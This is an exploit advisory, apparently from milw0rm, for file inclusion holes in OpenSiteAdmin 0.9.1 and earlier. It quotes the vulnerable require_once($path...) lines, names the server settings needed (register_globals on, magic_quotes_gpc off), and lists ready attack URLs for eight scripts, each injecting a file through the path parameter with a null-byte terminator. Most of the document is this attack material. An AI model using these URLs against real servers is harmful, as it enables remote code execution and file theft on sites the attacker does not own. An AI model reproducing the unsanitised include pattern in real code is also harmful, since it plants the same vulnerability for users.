OpenSiteAdmin <= 0.9.1.1 - Multiple File Inclusion Vulnerabilities

Software Vulnerable: OpenSiteAdmin 0.9.1 BETA and maybe prior versions. Vulnerable Code: -OpenSiteAdmin/indexFooter.php require_once($path.&#34;footer.php&#34;); -OpenSiteAdmin/scripts/classes/DatabaseManager.php require_once($path.&#34;OpenSiteAdmin/include.php&#34;); require_once($path.&#34;OpenSiteAdmin/scripts/classes/ErrorLogManager.php&#34;); -OpenSiteAdmin/scripts/classes/FieldManager.php require_once($path.&#34;OpenSiteAdmin/scripts/classes/Fields/Checkbox.php&#34;); require_once($path.&#34;OpenSiteAdmin/scripts/classes/Fields/ForeignKey.php&#34;); ..... .. -OpenSiteAdmin/scripts/classes/Filter.php require_once($path.&#34;OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php&#34;); -OpenSiteAdmin/scripts/classes/Form.php require_once($path.&#34;/OpenSiteAdmin/scripts/classes/Forms/Form_List.php&#34;); require_once($path.&#34;/OpenSiteAdmin/scripts/classes/Forms/Form_Single.php&#34;); -OpenSiteAdmin/scripts/classes/FormManager.php require_once($path.&#34;OpenSiteAdmin/scripts/classes/Form.php&#34;); -OpenSiteAdmin/scripts/classes/LoginManager.php require_once($path.&#34;OpenSiteAdmin/scripts/classes/SecurityManager.php&#34;); -OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php require_once($path.&#34;OpenSiteAdmin/scripts/classes/RowManager.php&#34;); Download: http://sourceforge.net/project/showfiles.php?group_id=213524 Server should have: Register Globals: On Magic_quotes_gpc: Off Exploit: http://www.vulnerable.com/OpenSiteAdmin/indexFooter.php?path=&#60;File Inclusion&#62;%00 http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=&#60;File Inclusion&#62;%00 http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/FieldManager.php?path=&#60;File Inclusion&#62;%00 http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Filter.php?path=&#60;File Inclusion&#62;%00 http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Form.php?path=&#60;File Inclusion&#62;%00 http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/FormManager.php?path=&#60;File Inclusion&#62;%00 http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/LoginManager.php?path=&#60;File Inclusion&#62;%00 http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=&#60;File Inclusion&#62;%00 Greetz: Members of http://www.p1mp4m.es and http://www.yashira.org Author: Trancek # milw0rm.com [2008-02-06]